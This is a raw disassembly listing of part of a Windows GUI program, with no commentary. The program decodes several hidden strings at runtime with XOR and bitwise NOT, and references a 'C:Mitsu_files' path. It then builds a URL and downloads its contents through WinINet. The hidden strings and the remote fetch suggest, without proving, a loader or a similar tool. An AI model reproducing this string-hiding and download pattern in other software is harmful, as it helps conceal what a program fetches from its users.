call fcn.140060060
lea rcx, [rbp + 0x488]
call fcn.14005ffd0
lea rdx, [rbp + 0x10]
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x98]
call fcn.140061630
lea rcx, [rbp + 0x98]
call fcn.14004c950
lea rcx, [rbp + 0x98]
call fcn.14004afe0
lea rcx, [rbp + 0x488]
call fcn.14004afe0
lea rcx, [rbp + 0x468]
call fcn.14004afe0
lea rcx, [rbp + 0x260]
call fcn.140037230
movss xmm3, dword [0x140075d68]
lea rcx, [rbp + 0x330]
xorps xmm9, xmm9
movaps xmm2, xmm3
movaps xmm1, xmm3
movss dword [rsp + 0x20], xmm9
call fcn.14000f5d0
movss xmm0, dword [rbp + 0x33c]
xor r12b, r12b
movzx ebx, byte [rsp + 0x60]
mov edi, 1
movss xmm10, dword [0x140075db0]
movss xmm11, dword [0x140075d80]
movss xmm12, dword [0x140075dc4]
movss xmm13, dword [0x140075dac]
movss xmm14, dword [0x140075d7c]
movss dword [rbp + 0xb8], xmm0
movss xmm0, dword [rbp + 0x338]
movss dword [rbp + 0x50], xmm0
movss xmm0, dword [rbp + 0x334]
movss dword [rbp + 0xc0], xmm0
movss xmm0, dword [rbp + 0x330]
movss dword [rbp + 0xbc], xmm0
mov dword [rbp + 0x370], r12d
movss xmm8, dword [0x140075ed8]
lea rcx, [rbp + 0x260]
xor r9d, r9d
mov dword [rsp + 0x20], edi
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140058f66
nop dword [rax]
lea rcx, [rbp + 0x260]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x260]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x268], 0x12
lea rcx, [rbp + 0x260]
movzx r12d, r12b
cmove r12d, edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140058f10
mov dword [rbp + 0x370], r12d
test r12b, r12b
jne 0x14005e74b
mov rax, qword [0x140080da0]
test rax, rax
je 0x140058f7b
mov rcx, qword [rax + 0x98]
jmp 0x140058f7e
mov rcx, r15
cmp qword [rcx + 0x48], 0
jne 0x140058f8a
call fcn.14003d050
call fcn.14003e320
call fcn.140016860
mov ecx, 0x10
call fcn.1400689f4
mov rsi, qword [0x140080da0]
lea rdx, [rbp + 0x2f0]
movaps xmm6, xmmword [0x140076070]
mov rdi, rax
mov qword [0x140080db0], rdi
mov qword [rax], 0x2b
lea rax, [rsi + 0x38e8]
mov dword [rbp + 0x2f0], 2
mov qword [rdi + 8], rax
lea rcx, [rsi + 0x4a80]
mov dword [rax + 0x10], 0x41a00000
mov rax, qword [rdi + 8]
mov dword [rax + 0x44], 0x41a00000
mov rax, qword [rdi + 8]
mov dword [rax + 0x14], r15d
movups xmm0, xmmword [rsi + 0x39f4]
movups xmmword [rbp + 0x2f4], xmm0
call fcn.14002a420
cmp dword [rsi + 0x4a7c], 2
je 0x14005901d
movups xmmword [rsi + 0x39f4], xmm6
mov r8d, dword [rdi]
lea rcx, [0x140075410]
xor edx, edx
call fcn.14001c0a0
mov rcx, qword [0x140080da0]
lea rdx, [rbp + 0xf0]
xor r8d, r8d
mov dword [rbp + 0xf0], 0x442f0000
mov dword [rbp + 0xf4], 0x43fa0000
mov rcx, qword [rcx + 0x4008]
call fcn.14001f140
lea rdi, str.C:Mitsu_files
mov qword [rbp + 0x188], 0xe
mov qword [rbp + 0x180], rdi
call fcn.140069350
movaps xmm0, xmmword [rbp + 0x180]
lea r8, [rbp + 0x2f0]
mov edx, eax
movdqa xmmword [rbp + 0x2f0], xmm0
lea rcx, [rbp + 0x3f8]
call fcn.14004aab0
lea rcx, [rbp + 0x3f8]
call fcn.14004cf00
mov rdx, qword [rbp + 0x410]
cmp rdx, 7
jbe 0x1400590f3
mov rcx, qword [rbp + 0x3f8]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400590ee
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e69c
call fcn.14006868c
mov rcx, qword [0x140080dd0]
mov qword [rbp + 0x408], r15
mov qword [rbp + 0x410], 7
mov word [rbp + 0x3f8], r15w
call fcn.14001edf0
mov rcx, qword [0x140080ef0]
lea rdx, [0x140080ef8]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rax, qword [0x140080da0]
mov r9d, 0x2bc
movd xmm0, dword [0x140080efc]
movd xmm1, dword [0x140080ef8]
cvtdq2ps xmm0, xmm0
mov rcx, qword [rax + 0x4008]
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0x1f4
cvtdq2ps xmm1, xmm1
addss xmm0, dword [rcx + 0x2c]
addss xmm1, dword [rcx + 0x28]
mov rcx, qword [0x140080ef0]
cvttss2si r8d, xmm0
cvttss2si edx, xmm1
call qword [sym.imp.USER32.dll_MoveWindow]
mov r10, qword [0x140080da0]
lea rdx, [rbp + 0xf8]
xor r8d, r8d
mov qword [rbp + 0xf8], 0
mov rcx, qword [r10 + 0x4008]
call fcn.14001efd0
cmp byte [0x1400800d8], 1
mov rdx, qword [r10 + 0x4008]
mov byte [rdx + 0xc0], 1
jne 0x14005d457
cmp byte [0x140080d9a], r8b
mov dword [r10 + 0x38e8], 0x3f800000
mov dword [r10 + 0x38ec], 0x3f800000
jne 0x14005d41d
movaps xmm0, xmmword [0x140076060]
mov rcx, qword [0x140080dc0]
movups xmmword [r10 + 0x39d4], xmm0
mov rax, qword [r10 + 0x4008]
mov byte [rax + 0xc0], 1
mov rax, qword [r10 + 0x4008]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], 1
addss xmm0, dword [0x140075e64]
movss dword [rax + 0x114], xmm0
mov rax, qword [r10 + 0x4008]
mov byte [rax + 0xc0], 1
mov rax, qword [r10 + 0x4008]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
mov byte [rax + 0x151], 1
addss xmm0, dword [0x140075e60]
movss dword [rax + 0x110], xmm0
call fcn.14001edf0
lea rdx, [0x140081050]
lea rcx, [rbp + 0xd0]
call fcn.1400604a0
mov rdi, qword [0x140080da0]
mov rsi, rax
cmp qword [rax + 0x18], 0xf
mov rcx, qword [rdi + 0x4008]
movss xmm8, dword [rcx + 0x30]
movss xmm6, dword [rcx + 0x34]
jbe 0x1400592b3
mov rax, qword [rax]
movss xmm2, dword [rdi + 0x3d40]
test rax, rax
jne 0x1400592c6
movaps xmm1, xmm9
jmp 0x140059324
movss xmm0, dword [0x140075ecc]
lea rdx, [rbp + 0xc8]
movss xmm3, dword [0x140075ec0]
mov rcx, qword [rdi + 0x3d38]
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm0
call fcn.14003ac80
movss xmm0, dword [rbp + 0xc8]
addss xmm0, dword [0x140075de0]
movss xmm2, dword [rbp + 0xcc]
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0xc8], xmm1
mov rax, qword [rdi + 0x4008]
subss xmm6, xmm2
movaps xmm0, xmm8
movaps xmm3, xmm15
subss xmm0, xmm1
movaps xmm1, xmm15
mov byte [rax + 0xc0], 1
mov rax, qword [rdi + 0x4008]
mulss xmm6, xmm10
mulss xmm0, xmm10
mov byte [rax + 0x151], 1
maxss xmm1, xmm6
maxss xmm3, xmm0
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
subss xmm1, dword [0x140075e70]
subss xmm8, xmm3
addss xmm0, xmm1
movaps xmm1, xmm3
subss xmm1, xmm15
movss dword [rax + 0x114], xmm0
movaps xmm0, xmm8
mov rax, qword [rdi + 0x4008]
mov byte [rax + 0xc0], 1
mov rax, qword [rdi + 0x4008]
movss xmm2, dword [rax + 0x28]
subss xmm2, dword [rax + 0x8c]
mov byte [rax + 0x151], 1
addss xmm2, xmm1
movss dword [rax + 0x110], xmm2
call fcn.14001ef30
cmp qword [rsi + 0x10], 0
mov rdi, qword [0x140080da0]
movsd xmm8, qword [rdi + 0x3f58]
cvtpd2ps xmm8, xmm8
jbe 0x1400595a3
mulss xmm8, dword [0x140075ed4]
xor r14d, r14d
mov dword [rbp + 0x154], 0x3f800000
movss xmm6, dword [0x140075de8]
movd xmm0, r15d
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm11
addss xmm0, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_sinf
movaps xmm3, xmm0
mov dword [rbp + 0x2f0], 0
mulss xmm3, xmm10
lea rcx, [rdi + 0x4a80]
lea rdx, [rbp + 0x2f0]
movaps xmm0, xmm6
movaps xmm2, xmm6
addss xmm3, xmm10
movaps xmm1, xmm3
mulss xmm1, xmm12
subss xmm2, xmm1
movaps xmm1, xmm3
mulss xmm1, xmm13
mulss xmm3, xmm14
subss xmm0, xmm1
movss dword [rbp + 0x148], xmm2
subss xmm6, xmm3
movss dword [rbp + 0x14c], xmm0
movups xmm0, xmmword [rdi + 0x39d4]
movss dword [rbp + 0x150], xmm6
movups xmmword [rbp + 0x2f4], xmm0
call fcn.14002a420
cmp dword [rdi + 0x4a7c], 0
je 0x1400594b5
movups xmm0, xmmword [rbp + 0x148]
movups xmmword [rdi + 0x39d4], xmm0
xor eax, eax
xorps xmm0, xmm0
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rax
mov rax, qword [rsi + 0x10]
movups xmmword [rbp + 0x30], xmm0
cmp rax, r14
jb 0x14005e85b
sub rax, r14
mov r8d, 1
cmp rax, r8
cmovb r8, rax
cmp qword [rsi + 0x18], 0xf
mov rax, rsi
jbe 0x1400594f0
mov rax, qword [rsi]
lea rdx, [rax + r14]
lea rcx, [rbp + 0x30]
call fcn.14004a970
cmp qword [rbp + 0x48], 0xf
lea rcx, [rbp + 0x30]
cmova rcx, qword [rbp + 0x30]
xor edx, edx
call fcn.140040b90
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x14005954d
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140059548
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e6a3
call fcn.14006868c
movaps xmm1, xmm9
movaps xmm0, xmm9
call fcn.1400223a0
mov rdi, qword [0x140080da0]
movsxd rax, dword [rdi + 0x4a80]
cmp eax, 1
jl 0x140059593
mov rcx, qword [rdi + 0x4a88]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, rax
movups xmmword [rdi + rax*8 + 0x39d4], xmm0
dec dword [rdi + 0x4a80]
inc r15d
movsxd r14, r15d
cmp r14, qword [rsi + 0x10]
jb 0x140059408
mov rax, qword [rdi + 0x4008]
mov byte [rax + 0xc0], 1
mov r8, qword [rdi + 0x4008]
movsxd rdx, dword [r8 + 0x1e8]
mov rax, qword [r8 + 0x1f0]
mov ecx, dword [rax + rdx*4 - 4]
lea eax, [rdx - 1]
mov dword [r8 + 0x1e8], eax
mov dword [r8 + 0x1d4], ecx
call fcn.14001ee90
mov ecx, 1
call fcn.1400125a0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x140059624
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x14005961f
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14005e6aa
mov rcx, r8
call fcn.14006868c
xor r15d, r15d
mov qword [rsi + 0x18], 0xf
mov qword [rsi + 0x10], r15
mov byte [rsi], r15b
call fcn.14001ee90
mov rcx, qword [0x140080da0]
lea rdi, [0x140080f10]
mov qword [rsp + 0x38], r15
mov r9d, 0xff
mov qword [rsp + 0x30], r15
mov r8, rdi
mov dword [rsp + 0x28], r15d
xor edx, edx
mov rax, qword [rcx + 0x4008]
mov qword [rbp + 0x100], r15
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4008]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], 1
addss xmm0, dword [0x140075e6c]
movss dword [rax + 0x114], xmm0
mov rax, qword [rcx + 0x4008]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4008]
lea rcx, [rbp - 0x60]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
mov byte [rax + 0x151], 1
addss xmm0, dword [0x140075e5c]
movss dword [rax + 0x110], xmm0
movzx eax, byte [0x140075ad8]
movsd xmm0, qword [str.fGPDYYT__]
xor al, 0x3b
movsd qword [rbp - 0x60], xmm0
xor byte [rbp - 0x5f], 0x34
xor byte [rbp - 0x5e], 0x35
xor byte [rbp - 0x5d], 0x36
xor byte [rbp - 0x5c], 0x37
xor byte [rbp - 0x5b], 0x38
xor byte [rbp - 0x5a], 0x39
xor byte [rbp - 0x59], 0x3a
mov byte [rbp - 0x58], al
lea rax, [rbp + 0x100]
mov qword [rsp + 0x20], rax
mov byte [rbp - 0x60], 0x55
call fcn.140045570
mov rcx, qword [0x140080da0]
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov qword [rbp + 0x108], r15
mov rax, qword [rcx + 0x4008]
mov dword [rsp + 0x28], 0x8000
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4008]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], 1
addss xmm0, dword [0x140075e80]
movss dword [rax + 0x114], xmm0
mov rax, qword [rcx + 0x4008]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4008]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
mov byte [rax + 0x151], 1
addss xmm0, dword [0x140075e5c]
movss dword [rax + 0x110], xmm0
movsd xmm0, qword [str.cUFE_WK_]
movzx eax, byte [0x1400755a0]
movsd qword [rbp - 0x50], xmm0
xor byte [rbp - 0x4f], 0x34
xor byte [rbp - 0x4e], 0x35
xor byte [rbp - 0x4d], 0x36
xor byte [rbp - 0x4c], 0x37
xor byte [rbp - 0x4b], 0x38
xor byte [rbp - 0x4a], 0x39
xor byte [rbp - 0x49], 0x3a
xor al, 0x3b
mov byte [rbp - 0x50], 0x50
mov byte [rbp - 0x48], al
lea rax, [rbp + 0x108]
mov r9d, 0xff
lea rsi, [0x140080df0]
mov qword [rsp + 0x20], rax
mov r8, rsi
lea rcx, [rbp - 0x50]
xor edx, edx
call fcn.140045570
mov rcx, qword [0x140080da0]
lea rdx, [rbp + 0x110]
mov dword [rbp + 0x110], 0x43480000
mov dword [rbp + 0x114], 0x42480000
mov rax, qword [rcx + 0x4008]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4008]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], 1
addss xmm0, dword [0x140075e84]
movss dword [rax + 0x114], xmm0
mov rax, qword [rcx + 0x4008]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4008]
lea rcx, [rbp + 0x4f8]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
mov byte [rax + 0x151], 1
addss xmm0, dword [0x140075e78]
movss dword [rax + 0x110], xmm0
mov eax, dword [str.rAA7]
mov dword [rbp + 0x4f8], eax
movzx eax, byte [0x140075914]
xor byte [rbp + 0x4f9], 0x34
xor al, 0x37
xor byte [rbp + 0x4fa], 0x35
xor byte [rbp + 0x4fb], 0x36
mov byte [rbp + 0x4fc], al
mov byte [rbp + 0x4f8], 0x41
call fcn.140041b60
test al, al
je 0x14005d407
xorps xmm0, xmm0
mov byte [0x140080d9a], 1
movups xmmword [rbp + 0x3f8], xmm0
mov qword [rbp + 0x408], r15
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x410], r15
inc r8
cmp byte [rdi + r8], r15b
jne 0x140059921
mov rdx, rdi
lea rcx, [rbp + 0x3f8]
call fcn.14004a970
xorps xmm0, xmm0
mov qword [rbp + 0x438], r15
movups xmmword [rbp + 0x428], xmm0
mov qword [rbp + 0x440], r15
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rsi + r8], r15b
jne 0x140059960
mov rdx, rsi
lea rcx, [rbp + 0x428]
call fcn.14004a970
lea rcx, [rbp + 0x26]
call fcn.14004e800
mov r14, rax
mov rdi, 0xffffffffffffffff
nop dword [rax + rax]
inc rdi
cmp byte [rax + rdi], r15b
jne 0x140059990
lea rcx, [rdi + 1]
call fcn.140068a64
mov rsi, rax
mov rdx, r15
test rdi, rdi
je 0x140059a94
cmp rdi, 8
jb 0x140059a70
lea rax, [rdi - 1]
lea rcx, [r14 - 1]
add rax, rsi
add rcx, rdi
cmp rsi, rcx
ja 0x1400599d7
cmp rax, r14
jae 0x140059a70
cmp rdi, 0x40
jb 0x140059a3e
mov r8, rdi
and r8, 0xffffffffffffffc0
mov rcx, r14
lea rax, [rsi + 0x10]
sub rcx, rsi
nop
movdqu xmm0, xmmword [rax + rcx - 0x10]
add rdx, 0x40
movdqu xmm1, xmmword [rax + rcx]
lea rax, [rax + 0x40]
andnps xmm0, xmm7
andnps xmm1, xmm7
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm0, xmmword [rax + rcx - 0x30]
movdqu xmmword [rax - 0x40], xmm1
andnps xmm0, xmm7
movdqu xmm1, xmmword [rax + rcx - 0x20]
movdqu xmmword [rax - 0x30], xmm0
andnps xmm1, xmm7
movdqu xmmword [rax - 0x20], xmm1
cmp rdx, r8
jb 0x1400599f0
movzx eax, dil
and al, 0x3f
cmp al, 8
jb 0x140059a6b
mov rcx, rdi
and rcx, 0xfffffffffffffff8
mov r8, r14
lea rax, [rdx + rsi]
sub r8, rsi
nop
movq xmm0, qword [rax + r8]
lea rax, [rax + 8]
andnps xmm0, xmm7
add rdx, 8
movq qword [rax - 8], xmm0
cmp rdx, rcx
jb 0x140059a50
cmp rdx, rdi
jae 0x140059a94
sub r14, rsi
lea rcx, [rdx + rsi]
mov r8, rdi
sub r8, rdx
nop dword [rax]
movzx eax, byte [rcx + r14]
lea rcx, [rcx + 1]
not al
mov byte [rcx - 1], al
sub r8, 1
jne 0x140059a80
mov byte [rsi + rdi], r15b
xorps xmm0, xmm0
movups xmmword [rbp + 0x3c8], xmm0
mov qword [rbp + 0x3d8], r15
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x3e0], r15
inc r8
cmp byte [rsi + r8], r15b
jne 0x140059ab7
mov rdx, rsi
lea rcx, [rbp + 0x3c8]
call fcn.14004a970
mov rcx, rsi
call fcn.14006868c
cmp qword [rbp + 0x3e0], 0xf
lea r15, [rbp + 0x3c8]
lea rcx, [rbp + 0x27]
cmova r15, qword [rbp + 0x3c8]
call fcn.14004e5c0
mov r14, rax
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [rax + rdi], 0
jne 0x140059b01
lea rcx, [rdi + 1]
call fcn.140068a64
xor r9d, r9d
mov rsi, rax
mov edx, r9d
test rdi, rdi
je 0x140059c04
cmp rdi, 8
jb 0x140059be0
dec rax
lea rcx, [r14 - 1]
add rax, rdi
add rcx, rdi
cmp rsi, rcx
ja 0x140059b4a
cmp rax, r14
jae 0x140059be0
cmp rdi, 0x40
jb 0x140059baf
mov r8, rdi
and r8, 0xffffffffffffffc0
mov rcx, r14
lea rax, [rsi + 0x10]
sub rcx, rsi
movdqu xmm0, xmmword [rax + rcx - 0x10]
add rdx, 0x40
movdqu xmm1, xmmword [rax + rcx]
lea rax, [rax + 0x40]
andnps xmm0, xmm7
andnps xmm1, xmm7
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm0, xmmword [rax + rcx - 0x30]
movdqu xmmword [rax - 0x40], xmm1
andnps xmm0, xmm7
movdqu xmm1, xmmword [rax + rcx - 0x20]
movdqu xmmword [rax - 0x30], xmm0
andnps xmm1, xmm7
movdqu xmmword [rax - 0x20], xmm1
cmp rdx, r8
jb 0x140059b61
movzx eax, dil
and al, 0x3f
cmp al, 8
jb 0x140059bdb
mov rcx, rdi
and rcx, 0xfffffffffffffff8
mov r8, r14
lea rax, [rdx + rsi]
sub r8, rsi
movq xmm0, qword [r8 + rax]
lea rax, [rax + 8]
andnps xmm0, xmm7
add rdx, 8
movq qword [rax - 8], xmm0
cmp rdx, rcx
jb 0x140059bc0
cmp rdx, rdi
jae 0x140059c04
sub r14, rsi
lea rcx, [rdx + rsi]
mov r8, rdi
sub r8, rdx
nop dword [rax]
movzx eax, byte [r14 + rcx]
lea rcx, [rcx + 1]
not al
mov byte [rcx - 1], al
sub r8, 1
jne 0x140059bf0
mov byte [rsi + rdi], r9b
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r9
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x48], r9
nop
inc r8
cmp byte [rsi + r8], r9b
jne 0x140059c20
mov rdx, rsi
lea rcx, [rbp + 0x30]
call fcn.14004a970
mov rcx, rsi
call fcn.14006868c
lea rcx, [rbp + 0x2b]
call fcn.14004cc90
mov rsi, rax
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [rax + rdi], 0
jne 0x140059c50
lea rcx, [rdi + 1]
call fcn.140068a64
xor r9d, r9d
mov r14, rax
mov edx, r9d
test rdi, rdi
je 0x140059d53
cmp rdi, 8
jb 0x140059d30
dec rax
lea rcx, [rsi - 1]
add rax, rdi
add rcx, rdi
cmp r14, rcx
ja 0x140059c99
cmp rax, rsi
jae 0x140059d30
cmp rdi, 0x40
jb 0x140059cfe
mov r8, rdi
and r8, 0xffffffffffffffc0
mov rcx, rsi
lea rax, [r14 + 0x10]
sub rcx, r14
movdqu xmm0, xmmword [rax + rcx - 0x10]
add rdx, 0x40
movdqu xmm1, xmmword [rax + rcx]
lea rax, [rax + 0x40]
andnps xmm0, xmm7
andnps xmm1, xmm7
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm0, xmmword [rax + rcx - 0x30]
movdqu xmmword [rax - 0x40], xmm1
andnps xmm0, xmm7
movdqu xmm1, xmmword [rax + rcx - 0x20]
movdqu xmmword [rax - 0x30], xmm0
andnps xmm1, xmm7
movdqu xmmword [rax - 0x20], xmm1
cmp rdx, r8
jb 0x140059cb0
movzx eax, dil
and al, 0x3f
cmp al, 8
jb 0x140059d2b
mov rcx, rdi
and rcx, 0xfffffffffffffff8
mov r8, rsi
lea rax, [rdx + r14]
sub r8, r14
nop
movq xmm0, qword [r8 + rax]
lea rax, [rax + 8]
andnps xmm0, xmm7
add rdx, 8
movq qword [rax - 8], xmm0
cmp rdx, rcx
jb 0x140059d10
cmp rdx, rdi
jae 0x140059d53
sub rsi, r14
lea rcx, [rdx + r14]
mov r8, rdi
sub r8, rdx
nop dword [rax]
movzx eax, byte [rsi + rcx]
lea rcx, [rcx + 1]
not al
mov byte [rcx - 1], al
sub r8, 1
jne 0x140059d40
mov byte [r14 + rdi], r9b
xorps xmm0, xmm0
movups xmmword [rbp + 0x3a8], xmm0
mov qword [rbp + 0x3b8], r9
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x3c0], r9
inc r8
cmp byte [r14 + r8], r9b
jne 0x140059d76
mov rdx, r14
lea rcx, [rbp + 0x3a8]
call fcn.14004a970
mov rcx, r14
call fcn.14006868c
lea rdx, [0x140081018]
lea rcx, [rbp + 0x3a8]
call fcn.1400602d0
lea r9, [rbp + 0x30]
movzx edx, bl
lea r8, [rbp + 0x3a8]
lea rcx, [rbp - 0x10]
call fcn.140062f10
lea r8, [rbp + 0x3f8]
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x350]
call fcn.1400612b0
mov r8, r15
lea rcx, [rbp + 0x78]
mov rdx, rax
call fcn.140061240
mov rdx, rax
lea r8, [rbp + 0x428]
lea rcx, [rbp + 0xd0]
call fcn.1400612b0
lea rcx, [rbp + 0x18]
mov r15, rax
call fcn.14004ca30
mov r14, rax
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [rax + rdi], 0
jne 0x140059e12
lea rcx, [rdi + 1]
call fcn.140068a64
xor edx, edx
mov rsi, rax
test rdi, rdi
je 0x140059f14
cmp rdi, 8
jb 0x140059ef0
dec rax
lea rcx, [r14 - 1]
add rax, rdi
add rcx, rdi
cmp rsi, rcx
ja 0x140059e57
cmp rax, r14
jae 0x140059ef0
cmp rdi, 0x40
jb 0x140059ebe
mov r8, rdi
and r8, 0xffffffffffffffc0
mov rcx, r14
lea rax, [rsi + 0x10]
sub rcx, rsi
nop
movdqu xmm0, xmmword [rax + rcx - 0x10]
add rdx, 0x40
movdqu xmm1, xmmword [rax + rcx]
lea rax, [rax + 0x40]
andnps xmm0, xmm7
andnps xmm1, xmm7
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm0, xmmword [rax + rcx - 0x30]
movdqu xmmword [rax - 0x40], xmm1
andnps xmm0, xmm7
movdqu xmm1, xmmword [rax + rcx - 0x20]
movdqu xmmword [rax - 0x30], xmm0
andnps xmm1, xmm7
movdqu xmmword [rax - 0x20], xmm1
cmp rdx, r8
jb 0x140059e70
movzx eax, dil
and al, 0x3f
cmp al, 8
jb 0x140059eeb
mov rcx, rdi
and rcx, 0xfffffffffffffff8
mov r8, r14
lea rax, [rdx + rsi]
sub r8, rsi
nop
movq xmm0, qword [rax + r8]
lea rax, [rax + 8]
andnps xmm0, xmm7
add rdx, 8
movq qword [rax - 8], xmm0
cmp rdx, rcx
jb 0x140059ed0
cmp rdx, rdi
jae 0x140059f14
sub r14, rsi
lea rcx, [rdx + rsi]
mov r8, rdi
sub r8, rdx
nop dword [rax]
movzx eax, byte [rcx + r14]
lea rcx, [rcx + 1]
not al
mov byte [rcx - 1], al
sub r8, 1
jne 0x140059f00
mov byte [rsi + rdi], 0
xor r14d, r14d
xorps xmm0, xmm0
mov qword [rsp + 0x78], r14
movups xmmword [rsp + 0x68], xmm0
mov qword [rbp - 0x80], r14
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rsi + r8], r14b
jne 0x140059f33
mov rdx, rsi
lea rcx, [rsp + 0x68]
call fcn.14004a970
mov rcx, rsi
call fcn.14006868c
cmp qword [rbp - 0x80], 0xf
lea rcx, [rsp + 0x68]
mov dword [rsp + 0x20], r14d
cmova rcx, qword [rsp + 0x68]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdx, qword [rbp - 0x80]
mov rsi, rax
cmp rdx, 0xf
jbe 0x140059fb5
mov rcx, qword [rsp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140059fb0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e6b1
call fcn.14006868c
lea rcx, [rbp + 0x2f0]
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], r14b
call fcn.14004e5a0
test rsi, rsi
je 0x14005a2ff
cmp qword [r15 + 0x18], 0xf
mov rdx, r15
jbe 0x140059fe9
mov rdx, qword [r15]
mov qword [rsp + 0x28], r14
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], r14d
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, rax
test rax, rax
je 0x14005a2ff
nop
lea r9, [rbp + 0x39c]
mov r8d, 0x7d0
lea rdx, [rbp + 0x5d10]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov r8d, dword [rbp + 0x39c]
lea rdx, [rbp + 0x5d10]
lea rcx, [rbp + 0x2f0]
call fcn.140060250
xor edx, edx
lea rcx, [rbp + 0x5d10]
mov r8d, 0x7d0
call fcn.1400699d2
cmp dword [rbp + 0x39c], r14d
jne 0x14005a010
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
mov qword [rbp - 0x20], r14
mov r8d, 2
mov qword [rbp - 0x18], r14
lea rdx, [0x14006da54]
lea rcx, [rbp - 0x30]
movups xmmword [rbp - 0x30], xmm0
call fcn.14004a970
xorps xmm0, xmm0
mov qword [rsp + 0x78], r14
mov r8d, 2
mov qword [rbp - 0x80], r14
lea rdx, [0x14007478c]
lea rcx, [rsp + 0x68]
movups xmmword [rsp + 0x68], xmm0
call fcn.14004a970
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x378]
call fcn.1400604a0
xor r8d, r8d
lea rdx, [rsp + 0x68]
mov rcx, rax
mov rsi, rax
call fcn.1400600a0
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14005a131
lea rcx, [rsp + 0x68]
call fcn.1400601a0
lea r9, [rbp - 0x30]
mov r8, rax
mov rdx, rdi
mov rcx, rsi
call fcn.140060220
lea rcx, [rbp - 0x30]
call fcn.1400601a0
lea rdx, [rsp + 0x68]
mov rcx, rsi
lea r8, [rax + rdi]
call fcn.1400600a0
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14005a0f2
mov qword [rbp + 0x340], r14
xorps xmm0, xmm0
movups xmmword [rbp + 0x330], xmm0
mov qword [rbp + 0x348], r14
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0x330], xmm0
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [rbp + 0x340], xmm1
